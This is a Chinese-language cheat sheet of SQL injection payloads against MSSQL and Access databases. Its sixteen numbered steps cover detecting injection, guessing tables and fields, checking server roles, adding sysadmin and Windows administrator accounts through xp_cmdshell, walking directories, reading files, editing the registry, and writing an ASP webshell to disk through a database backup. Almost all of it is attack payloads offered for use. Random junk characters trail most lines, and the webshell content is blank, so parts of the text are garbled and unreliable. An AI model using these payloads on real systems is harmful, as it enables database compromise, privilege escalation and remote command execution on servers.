1.判断是否有注入;and 1=1 ;and 1=2 [xHK^JP 8F
2.初步判断是否是mssql ;and user>0 ^+-i7`|=
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3.注入参数是字符'and [查询条件] and ''=' DwoO([&I
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' \2uQ"kJC
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5.判断数据库系统 ;#AV~Y-
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;and (select count(*) from sysobjects)>0 mssql (i {
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;and (select count(*) from msysobjects)>0 access ZZ.GpB.
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 }z}oVc
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 `Dj-(~x
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Nx~8]h1(
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9.(1)猜字段的ascii值(access) l2xM.vR
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 tip\vS)
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(2)猜字段的ascii值(mssql) Wfp[)MM;
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 iJU]|t
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10.测试权限结构(mssql) XJGOX
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- k5(@n>p
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Q1g@FsW&U
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Ue!
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- i&RPYbT{
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Ao(Xz$cQfW
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- IF<pT)
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;and 1=(select IS_MEMBER('db_owner'));-- (z\@T`6`
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11.添加mssql和系统的帐户 XB
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;exec master.dbo.sp_addlogin username;-- y^?7de}
;exec master.dbo.sp_password null,username,password;-- Z%k)'%_
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- fQM:NI?9?
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;exec master.dbo.xp_cmdshell 'net user username password x8w455
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >2TDYB|;
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- o/
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- abp]qvCV
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12.(1)遍历目录 1Jjay#
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;create table dirs(paths varchar(100), id int) (w}iEm\b
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;insert dirs exec master.dbo.xp_dirtree 'c:\' W$=Ad *
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;and (select top 1 paths from dirs)>0 (
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) \9N1:
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(2)遍历目录 &Ba` 3V\M
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- PRg^E4
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 p3`ND;KQ
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 g1UP/hNJ\8
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 @9Rgg9r
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 qj/
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13.mssql中的存储过程 p~Di\AQ/
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xp_regenumvalues 注册表根键, 子键 >+Z BQ]~
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 e)"]H*
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xp_regread 根键,子键,键值名 ,T&=*q
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;exec xp_regread d^p af
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 [$:M/5y9
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xp_regwrite 根键,子键, 值名, 值类型, 值 7L)edR[
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 T%zCAfx m
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xp_regdeletevalue 根键,子键,值名 O<}3\O )G(
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 .LMOmc=(
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 `<_A#@
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14.mssql的backup创建webshell 5yBaxw`
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use model ;r<(n3"F
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create table cmd(str image); :buH\LB*P
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insert into cmd(str) values ('');
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backup database model to disk='c:\l.asp'; D#"BY;
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15.mssql内置函数 ye?4^@u u
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;and (select @@version)>0 获得Windows的版本号 ygI81\D
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Z8mSm[w
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;and (select user_name())>0 爆当前系统的连接用户 pAK7V;sJ
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;and (select db_name())>0 得到当前连接的数据库 }MU}-6
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16.简洁的webshell w2 %u;D%
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use model }enS'Fpf`
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create table cmd(str image); "&9L
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insert into cmd(str) values (''); 5l_ >QB
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backup database model to disk='g:\wwwtest\l.asp';